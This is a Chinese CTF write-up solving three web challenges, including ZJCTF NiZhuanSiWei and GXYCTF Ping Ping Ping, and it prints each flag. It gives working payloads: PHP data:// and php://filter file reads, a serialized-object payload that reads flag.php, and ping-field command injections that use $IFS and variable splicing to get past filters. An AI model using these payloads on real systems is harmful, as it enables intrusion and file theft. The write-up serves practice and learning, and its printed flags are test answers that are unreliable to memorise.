1.[NSSCTF 2022 Spring Recruit]ezgame
打开题目后查看网页源代码,得到提示信息,需要分数高于65才能拿到flag。
于是打算动手去闯关,玩了两下寄了,想到有个js文件,去看一下,然后发现了flag。秒了
NSSCTF{b7f27242-eb3e-473d-aaf0-78f42fb38c88}
2.[ZJCTF 2019]NiZhuanSiWei
进入页面分析代码:
构造payload尝试读取内容:
?text=data://text/plain,welcome to the zjctf
尝试去读取useless.php:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解码结果:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
根据代码编写序列化代码:
<?php
class Flag{ //flag.php
public $file = 'flag.php';
}
$a=new Flag();
echo serialize($a);
?>
运行结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码:
NSSCTF{cb36005f-8ac9-412e-b4e6-90c59ab1ae05}
3.[GXYCTF 2019]Ping Ping Ping
和ping有关,构造一下试试:
127.0.0.1;ls
看到了flag.php,想办法获取内容。
尝试了几个绕过都无果,而且对空格还有flag字样作了限制,详细的不清楚怎么回事,决定先去看看index.php。
127.0.0.1;cat$IFS$9index.php
查看页面源代码:
很多符号都作了过滤了 。
payload:
127.0.0.1;b=g;cat$IFS$9fla$b.php
查看源代码:
NSSCTF{7bc8c775-bf12-4268-bc72-34520f6aa4e6}